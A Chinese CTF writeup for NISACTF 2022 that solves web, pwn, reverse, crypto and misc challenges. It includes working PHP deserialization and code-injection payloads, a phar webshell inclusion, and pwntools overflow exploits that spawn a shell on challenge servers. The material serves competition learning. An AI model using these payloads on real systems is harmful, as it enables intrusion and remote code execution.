NISA 2022 Writeup by WDLJT

前记

原本是来摸鱼陪新生们打,结果最后变成新生带我飞我。题目还是比较适合新生做的(吗),至少 Misc 和 Crypto 前几道还是适合给新生做,Web 嘛,我也不知道为什么 Pwn 比 Web 做的人还多,像极了上次我们自己的 NSSCTF 的春季招新赛。这次是打到第三天下午 Web 我和个憨憨一样不知道怎么做然后就来写 Writeup 了。

前情提要:这里只是我个人做题的思路,请不要学习(特别是非Misc),含有一定的投机取巧。

Web

[NISACTF 2022]checkin

好一个 Checkin 还用一个 CVE,一开始我单纯的以为就一个简单的 get

ahahahaha=jitanglailo&cuishiyuan=N1SACTF

好的是我想太多了,去检索了下核心代码

发现了了是个 CVE (CVE-2021-42574)

然后顺手搜到了 Payload

?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf

然后我们回到题目

Web1-1
Web 1-2

稍微替换下变量即可得到本题 Payload:

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag%21%E2%81%A9%E2%81%A6N1SACTF

当然学 Web 还是不要投机取巧,不然就会像我一样直接挂掉 Web 连我们师傅觉得非常简单的 popchainsbabyserialize都不会做遭到报应了,参考文章在这里

[NISACTF 2022]level-up

啥都没有,F12 有点东西,下意识的看了眼robots.txt提示了第二关该怎么去

Web2-1
Web2-2

阅读代码可知,我们需要构造两个文件(字符串),使他们内容不相同但是 md5 值相同,这时候就要开始找工具了,之前我看到知乎有一篇挺有意思的文章正好就有 fastcoll 但是呢很可惜我忘了,但是检索关键代码找到了一篇文章所以你有两个选择,第一个是自己构造第二个是用现成的,那我肯定是——自己构造(逃,毕竟要学习下工具该如何使用

第一次构造文件太大了(指30KB)导致请求过长直接被拦了(这里其实有个问题,如果用 POST 根本就没这个问题,所以这里踩了一个 Postman 使用的坑,等会会讲)然后构造了两个小的 2KB 的,但死活都传不上去,然后 Day1 就没做这道题了,到了最后一天,经人提醒发现我其实填到 Get 参数了,他压根就没有对这个请求做出反应,然后就换了 Burp 手动构造请求(因为重启过没有截图这里拿之前 Fiddler 的图)

Web2-3

Payload:

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

获得第三个文件路径 Level___3.php

Web2-4

就把 md5 换成 sha1 ,当年 Google 正式宣布 sha1 的碰撞结果的两个 PDF,应该还能用

https://shattered.it/static/shattered-2.pdf https://shattered.it/static/shattered-1.pdf

Payload:

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

获得倒数第二层(第四层)的路径:level_level_4.php

Web2-5

过滤_就用转码 %5F,过滤 5F 不影响 5f

Payload:

?NI%5FSA%5F=txw4ever

然后就获得最后一层的路径:55_5_55.php

Web2-6

正则绕过,找到了一篇文章拿到一个Payload:

?a=\create_function&b=return%222333%22;}phpinfo();/*

然后没有flag

Web2-7然后想去找根目录

Payload:

?a=\create_function&b=return%222333%22;}var_dump(base64_encode(file_get_contents(%27/flag%27)));/*
Web2-8

[NISACTF 2022]bingdundun~

考点应该是 PHP 伪协议,但是呢因为我自己不太会 Web 搞出了很多乌龙,把我自己给整自闭了,就不想说探索过程了,越来越觉得自己蠢了。。。。

构造一句话木马 zip 打包,然后上传拿到路径之后用蚁剑链接

Web3-1

Payload:

?bingdundun=phar://ab878e3fbc34bce8036a7a37a6d3387d.zip/shell

[NISACTF 2022]secret

这道题我真的就当检索题来做了,secret,我确实就直接去Secret目录了,然后有一行字

Web4-1

然后我拿这行字去百度,第一个结果 404 了,不过没关系我知道这个题来源于 [CISCN2019 华东南赛区]

找到了亿点文章:https://www.cnblogs.com/h3zh1/p/12653579.html

http://t.zoukankan.com/kevinbruce656-p-12638843.html

https://blog.csdn.net/mochu7777777/article/details/105661450

Payload1:

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23%7E%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96

Playload2:

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

[NISACTF 2022]popchains

感谢队内师傅花崽的 Writeup

我自己没做出来就贴队友的吧~

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
   @unserialize($_GET['wish']);
}
else{
   $a=new Road_is_Long;
   highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
   public $page;
   public $string;
   public function __construct($file='index.php'){
       $this->page = $file;
  }
   public function __toString(){
       return $this->string->page;
  }

   public function __wakeup(){
       if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
           echo "You can Not Enter 2022";
           $this->page = "index.php";
      }
  }
}

class Try_Work_Hard{
   protected  $var;
   public function append($value){
       include($value);
  }
   public function __invoke(){
       $this->append($this->var);
  }
}

class Make_a_Change{
   public $effort;
   public function __construct(){
       $this->effort = array();
  }

   public function __get($key){
       $function = $this->effort;
       return $function();
  }
}
/**********************Try to See flag.php*****************************/

看到 include ,结合最下面的提示可以确定是要伪协议读取 flag.php

include 的执行要通过 __invoke() ,包含的内容来源于 $var

__invoke(),调用函数的方式调用一个对象时的回应方法

所以调用 Try_Work_Hard__invoke() 要先执行 Make_a_Change__get()

显然要让 $effort 指向 Try_Work_Hard 的对象

__get,当访问非公共或不存在的变量时回应的方法

观察 Road_is_Long ,发现可以通过 __toString() 启动 Make_a_Change 中的 __get()

所以 $string 指向 Make_a_Change 的对象

这里要对 Road_is_Long new 两个对象出来,一个用于执行 __toString() ,另一个通过 __wakeup() 然后字符串匹配来调用前者

题目原因,读取flag.php不会成功,应该读/flag

分析后本地构造以下链:

<?php
class Road_is_Long{
   public $page;
   public $string;
   public function __toString(){
       return $this->string->page;
  }
   public function __wakeup(){
       if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
           echo "You can Not Enter 2022";
           $this->page = "index.php";
      }
  }
}
class Try_Work_Hard{
   protected  $var="php://filter/convert.base64-encode/resource=/flag";
   public function append($value){
       include($value);
  }
   public function __invoke(){
       $this->append($this->var);
  }
}
class Make_a_Change{
   public $effort;
   public function __construct(){
       $this->effort = array();
  }
   public function __get($key){
       $function = $this->effort;
       return $function();
  }
}
//开造
$a = new Road_is_Long;
$tmp = new Road_is_Long;
$b = new Try_Work_Hard;
$c = new Make_a_Change;
$c->effort=$b;
$tmp->string=$c;
$a->page=$tmp;
echo serialize($a);

打印出

O:12:"Road_is_Long":2:{s:4:"page";O:12:"Road_is_Long":2:{s:4:"page";N;s:6:"string";O:13:"Make_a_Change":1:{s:6:"effort";O:13:"Try_Work_Hard":1:{s:6:" * var";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}s:6:"string";N;}

由于 $var 是受保护属性,发现前面有不可见字符,将其改为 %00

最终 payload

http://1.14.71.254:28201/?wish=O:12:"Road_is_Long":2:{s:4:"page";O:12:"Road_is_Long":2:{s:4:"page";N;s:6:"string";O:13:"Make_a_Change":1:{s:6:"effort";O:13:"Try_Work_Hard":1:{s:6:"%00*%00var";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}s:6:"string";N;}

[NISACTF 2022]babyserialize

感谢队内师傅花崽的 Writeup

我自己没做出来就贴队友的吧~

<?php
include "waf.php";
class NISA{
   public $fun="show_me_flag";
   public $txw4ever;
   public function __wakeup(){
       if($this->fun=="show_me_flag"){
           hint();
      }
  }
   function __call($from,$val){
       $this->fun=$val[0];
  }
   public function __toString(){
       echo $this->fun;
       return " ";
  }
   public function __invoke(){
       checkcheck($this->txw4ever);
       @eval($this->txw4ever);
  }
}
class TianXiWei{
   public $ext;
   public $x;
   public function __wakeup(){
       $this->ext->nisa($this->x);
  }
}
class Ilovetxw{
   public $huang;
   public $su;
   public function __call($fun1,$arg){
       $this->huang->fun=$arg[0];
  }
   public function __toString(){
       $bb = $this->su;
       return $bb();
  }
}
class four{
   public $a="TXW4EVER";
   private $fun='abc';
   public function __set($name, $value){
       $this->$name=$value;
       if ($this->fun = "sixsixsix"){
           strtolower($this->a);
      }
  }
}
if(isset($_GET['ser'])){
   @unserialize($_GET['ser']);
}else{
   highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
//     die(something wrong);
// }
//}

//function hint(){
//   echo ".......";
//   die();
//}
?>

NISA 中的 __invoke() 发现 @eval ,执行内容为 $txw4ever ,不知道flag在哪就先让 $txw4ever="system('ls')"

要启动上面的步骤就要先启动 Ilovetxw 中的 __toString() ,同时让 $su 指向 NISA

TianXiWei 类的 __wakeup() 入手,联系 Ilovetxw 类的 __call() ,让 $ext 指向 Ilovetxw 的对象,

然后尝试调用 four__set() ,让 $a 指向 NISA 的对象,

构造pop链:

<?php
class NISA{
   public $fun="123";
   public $txw4ever;
   function __call($from,$val){
       $this->fun=$val[0];
  }
   public function __wakeup(){
       if($this->fun=="show_me_flag"){
           hint();
      }
  }
   public function __invoke(){
       @eval($this->txw4ever);
  }
}
class TianXiWei{
   public $ext;
   public $x;
   public function __wakeup(){
       $this->ext->nisa($this->x);
  }
}
class Ilovetxw{
   public $huang;
   public $su;
   public function __call($fun1,$arg){
       $this->huang->fun=$arg[0];
  }
   public function __toString(){
       $bb = $this->su;
       return $bb();
  }
}
class four{
   public $a="TXW4EVER";
   private $fun='abc';
   public function __set($name, $value){
       $this->$name=$value;
       if ($this->fun = "sixsixsix"){
           strtolower($this->a);
      }
  }
}
$a = new NISA;
$b = new TianXiWei;
$c = new Ilovetxw;
$d = new four;
$a->txw4ever="system('ls');";
$b->ext=$c;
$b->x="12";
$c->huang=$d;
$c->su=$a;
$d->a=$c;

echo urlencode(serialize($b));

得到

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3Bs%3A2%3A%2212%22%3B%7D

提交后返回 something wrong

存在未知字符拦截,尝试大写绕过

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A13%3A%22System%28%27ls%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3Bs%3A2%3A%2212%22%3B%7D

成功返回目录文件,通过不断修改 pop 链中的 $txw4ever ,能够找到 flag 文件

最终 payload

http://1.14.71.254:28711/?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A35%3A%22System%28%27cat+..%2F..%2F..%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3Bs%3A2%3A%2212%22%3B%7D%3B%7D

Pwn

[NISACTF 2022]ReorPwn

一个小游戏好玩~

Pwn

[NISACTF 2022]ezpie

前情提要,这道题是队内有位没事干的 Pwn 师傅手把手带着做的,连 Writeup 都监督着我写的((((,我摸鱼石锤,不知道他的 Writeup 发不发,我先帮他发了(我也懒得写了,毕竟做的时候忘写,最后比赛结束补 Writeup 真的很傻*)

  • checksec
    Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     PIE enabled
OHHH!,give you a gift!
0x56573770
Input:
  • main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main);
puts("Input:");
vuln();
 return 0;
}
  • vuln
ssize_t vuln()
{
 char buf; // [esp+0h] [ebp-28h]

 return read(0, &buf, 0x50u);
}

vuln()有溢出

已知程序会输出main地址

程序main函数地址为00000770,则

main_addr = int(io.recvline(),16)
offset = main_addr - main_add

接收程序输出的main函数地址,减去静态地址算出offset

  • shell
int shell()
{
 return system("/bin/sh");
}

获取shell地址

bin_sh = elf.sym['shell']

加上offset,得bin_sh_final

bin_sh_final = offset + bin_sh

完整exp

from pwn import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
content = 0
if content == 0:
   io = remote('124.221.24.137',28638)
else:
   io = process('')
def atk():
   elf = ELF('')
   padlength = 0x28 +0x4
   bin_sh = elf.sym['shell']
   io.recvuntil('OHHH!,give you a gift!\n')
   main_addr = int(io.recvline(),16)
   success('[+]main_addr=' + hex(main_addr))
   main_add = elf.sym['main']
   offset = main_addr - main_add
   success('[+]offset=' + hex(offset))
   io.recvuntil('Input:\n')
   success('[+]bin_sh=' + hex(bin_sh))
   bin_sh_final = offset + bin_sh
   success('[+]bin_sh_final='+hex(bin_sh_final))
   payload = b'a' * padlength + p64(bin_sh_final)
   io.sendline(payload)
   io.interactive()
   
atk()

[NISACTF 2022]ezstack

成功的花了 2 个小时水了一个 flag(((((((,现学现用(((

  • main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
shell();
 return 0;
}
  • shell
ssize_t shell()
{
 char buf; // [esp+0h] [ebp-48h]

system("echo Welcome to NISACTF");
 return read(0, &buf, 0x60u);
}

shell函数处有溢出

完整exp

from pwn import *
elf = ELF('')
# io = process('')
io = remote('124.221.24.137',28760)
padlength = 0x48 + 0x4
bin_sh = next(elf.search(b'/bin/sh'))
system = elf.sym['system']
success('[+]bin_sh=' + hex(bin_sh))
success('[+]system=' + hex(system))
shell = elf.sym['shell']
success('[+]shell=' + hex(shell))
payload = b'a' * padlength + p32(system) + p32(bin_sh)
io.sendline(payload)
io.interactive()

atk()

Reverse

[NISACTF 2022]String

日常现学现卖.jpg,队里的 Re 师傅强调,遇事不决 F5 Shift+F12

翻了一会儿找到了疑似核心代码

Reverse 1-1

好了接下来就找种子了

好了双击 seed 种子也附赠了

Reverse 1-2

那估计就一个伪随机数,还把种子给你了,现场搓代码。

#include <bits/stdc++.h>

using namespace std;

int main(){
   srand(10086);
   for(auto l=0;l<13;++l){
       int r = rand();
       printf("%d", (r % 8 + 1));
  }
   return 0;
}

编译运行即可得到flag

[NISACTF 2022]sign-ezc++

这道题也是队内师傅手把手带着做的,但是我自己另辟蹊径(((,用了一些奇怪的办法(主要是师傅拿题具体说了一大堆,思路也懂了,结果 IDA 操作不熟练只看到了异或)

另辟蹊径

师傅推荐了个神器:

Reverse 2-1

然后还是探索之旅(结果结束的时候发现我自己都还没有运行过这个程序)

Reverse 2-2
DYYI^Lq~bcyUcyUDCYKUxoUycmdw

有一行奇奇怪怪的东西,可能是 ascii base 试了之后不像,就拿去滚异或了

Reverse 2-3

然后我一直以为是3a作为异或的key,交了半天觉得不对,然后就看到了0a,得到了flag

正经做法

师傅看着我做题,做完之后受不了了,你就这样做是吧。他口述,这道题,你翻代码可以看到对 0a 进行异或,在字符串中可以找到待异或的字符串。然后写个行列脚本就完事了。

我:开摆

Crypto

[NISACTF 2022]sign_crypto

附件下载,png?我不是做密码学吗,然后一看图,想起了熟练运用 Latex 讲课的 Xenny 学长,星,那就 Latex

奇怪的做法

我看了下前几个字符,NSS = ?sumsum,懂了语法首字母,然后去百度搜了个,然后找了一百年。。。。找了一个小时然后中间还被nisa坑了下,最后结果EDIT WITH LATEX,像三角啊Lambda,真的找了一百年((

正经做法

看了下队内其他师傅的做法

Crypto 1-1

行这才是正确做法我错了。。。

[NISACTF 2022]funnycaeser

我其实这道题摸索了半个小时才做出来,做过 CCBC 的我,就首先觉得,这绝对不是任何形式的白给凯撒,然后想给每种字符分个类,例如大写小写符号,然后潜意识对着 ASCII 码表看偏移,就发现有类似于 Vigenère 的 a-z 的规律,但是符号确实正如我想象的那样没有进行统一的处理,多偏移了 5 位

Crypto 2-1

这是当时我 notepad 上面的草稿其实那个 X 搞了我好久,我还试过大写的R,最后破罐子破摔改成了小写,结果就好了,无大语事件。

[NISACTF 2022]normal

打开附件第一反应ook,然后用 dcode,解密

得到一串 Unicode

\u0065\u0047\u006c\u0069\u005a\u0057\u0067\u0074\u0061\u0032\u0056\u006a\u0062\u0032\u0063\u0074\u0064\u006e\u006c\u0032\u0059\u0057\u0073\u0074\u0062\u0057\u006c\u0073\u0061\u0057\u0077\u0074\u0062\u0058\u006c\u0074\u005a\u0057\u0059\u0074\u0059\u006e\u0056\u0077\u0059\u0057\u0067\u0074\u0065\u006d\u0056\u0077\u0061\u0057\u0067\u0074\u0061\u0047\u0046\u0069\u0065\u0057\u0073\u0074\u0062\u0047\u0056\u0073\u0064\u0057\u0051\u0074\u0059\u0032\u0039\u0073\u0064\u0057\u0073\u0074\u0062\u0048\u006c\u0030\u0062\u0032\u0077\u0074\u0061\u0033\u0056\u0074\u0061\u0057\u0067\u0074\u0062\u0057\u0039\u0036\u0064\u0058\u0067\u003d

转换后得到一串 base64

eGliZWgta2Vjb2ctdnl2YWstbWlsaWwtbXltZWYtYnVwYWgtemVwaWgtaGFieWstbGVsdWQtY29sdWstbHl0b2wta3VtaWgtbW96dXg=

然后就???

xibeh-kecog-vyvak-milil-mymef-bupah-zepih-habyk-lelud-coluk-lytol-kumih-mozux

行我先放放,然后做着后面misc的时候,有个主题是海洋的主题,然后又去翻CCBC的做题笔记,就找到了 bubble,但是这个bubble是4*4的,然后又稍微多搜了下看到了一篇博客,有个就是这个工具

然后解得一串估计是凯撒的密文

AVFN{h_xa0j_jU@g_!_guvaX}

得到flag

Crypto 3-1

Misc

呜呜呜呜呜呜,呜呜呜呜呜,终于有一次靠着赖着出题人(?) AK 了一次 misc 太感动了,但是过程过于脑溢血,就顺便看看心路历程吧。

[NISACTF 2022]签到

字面意思签到,扫码关注公众号即可,可惜一开始公众号炸了,我一血没了呜呜呜呜呜

[NISACTF 2022]huaji?

对于这道题确实是 misc 基操,通过 hex 看文件

至少有一个 zip 一个 jpg,把 zip 手动分离出来(小文件个人比较喜欢手扒.jpg)

中间有一串异常文字

Misc 2-1

这个基本上是人手动插进去的了,想到后面有压缩包那么一定不是 flag ,但是先解密吧。

Misc 2-2

解压压缩包可得 flag{Nls@_FumYEnnOjy}

[NISACTF 2022]bqt

先看 hex,嗯纯正的 PDF ,先盲猜一首图片后面藏字

Misc 3-1

那看来我猜对了呢

得到一串密文

c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd

好的每一位都大于了8,估计是-127,其他师傅说是周赛的原题(其实我忘了)

笨一点就替换首位-8,写wp的时候突然找不到工具,批量换了下

0x48 0x69 0x2c 0x20 0x43 0x74 0x66 0x65 0x72 0x21 0x20 0x54 0x68 0x65 0x20 0x66 0x6c 0x61 0x67 0x20 0x69 0x73 0x3a 0x20 0x66 0x6c 0x61 0x67 0x7b 0x77 0x65 0x66 0x65 0x6f 0x69 0x64 0x6a 0x67 0x6f 0x65 0x64 0x73 0x66 0x69 0x6f 0x72 0x70 0x65 0x66 0x64 0x66 0x67 0x67 0x66 0x64 0x73 0x65 0x7d

然后 ASCII 翻译 :Hi,Ctfer!Theflagis:flag{wefeoidjgoedsfiorpefdfggfdse}

但是有点忘了是不是最终flag如有出错请联系我修改

[NISACTF 2022]where_is_here

好耶是 OSINT ,做了那么久 Cyber Run 伪幕后终于在 CTF 见到了翻版。图片不多说直接上识图

Misc 4-1

好的,第一个就是,那我点进去看

Misc 4-2

当时有机会拿一血的,但是我作死打开美团搜这家店,但是电话号码不对,然后换到携程之后已经被人做了呜呜呜呜(还是个队内的)

这里就不写flag 写别人手机号确实不太好23333

小吐槽

还是希望下次卡严一点条件限制,不过估计出题人也没想到有憨憨去其他平台查(

[NISACTF 2022]不愉快的地方

又是一个 OSINT ,好的识图再上一次。

Misc 5-1

因为看人脸感觉不像国内所以用的 Google Lens 搜,大概率是清溪川,这里被经纬度坑成憨憨了呜呜呜呜,我用三套系统找到了3个不同经纬度,然后最后和出题人确认了下是Google

然后看了下 Wiki 写的组织者是前市长,但是不是运营,然后又去搜了下清溪川

Misc 5-2

然后下面好像有个景点官网

Misc 5-3
Misc 5-4

左侧感觉上应该是有管理人员说明的

Misc 5-5

好的拿到了,其实中间一度还用韩文提交了

小吐槽

其实这种类型题目我个人要求比较严格一丢丢,确实限制条件没有做的特别好导致时间浪费的有点小多。。

[NISACTF 2022]神秘数字

这道题我整个人是傻住的,因为电脑上有五笔就随便试了下试出来

ovty fgh wnn = 五笔:数十亿

懂了找输入法和中文编码,这里个人懒了直接贴答案了

0678 3127 2347 0155 5074 = 中文电码:合法操作者

MAZY AGD BMY NFA XOBV UCL A MFJI = 郑码:每天都体验着一种

40227 44801 36780 27620 = 四角号码:有共识的

YPTC QVIO MGBHU JYK = 仓颉:虚拟现实

最后md5一下就好了~(我不知道为什么我第一次把”美“这个字漏了

[NISACTF 2022]破损的flag

流量分析?键盘流量?我熟~

老规矩参考文章

在wireshark根目录使用指令

tshark.exe -T json -r 55.pcapng > nisa.usb

然后用 Python 脚本提取(当然手动正则提取也行)

#!/usr/bin/env python
# -*- coding:utf-8 -*-

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('usbdata.txt')
for line in keys:
   try:
       if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
            continue
       if line[6:8] in normalKeys.keys():
           output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
       else:
           output += ['[unknown]']
   except:
       pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
   try:
       a=output.index('<DEL>')
       del output[a]
       del output[a-1]
   except:
       pass
for i in range(len(output)):
   try:
       if output[i]=="<CAP>":
           flag+=1
           output.pop(i)
           if flag==2:
               flag=0
       if flag!=0:
           output[i]=output[i].upper()
   except:
       pass
print ('output :' + "".join(output))

得到

ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji

然后就....卡住了,其实最开始我以为是在键盘上画出来

Misc 7-1
Misc 7-2
Misc 7-3

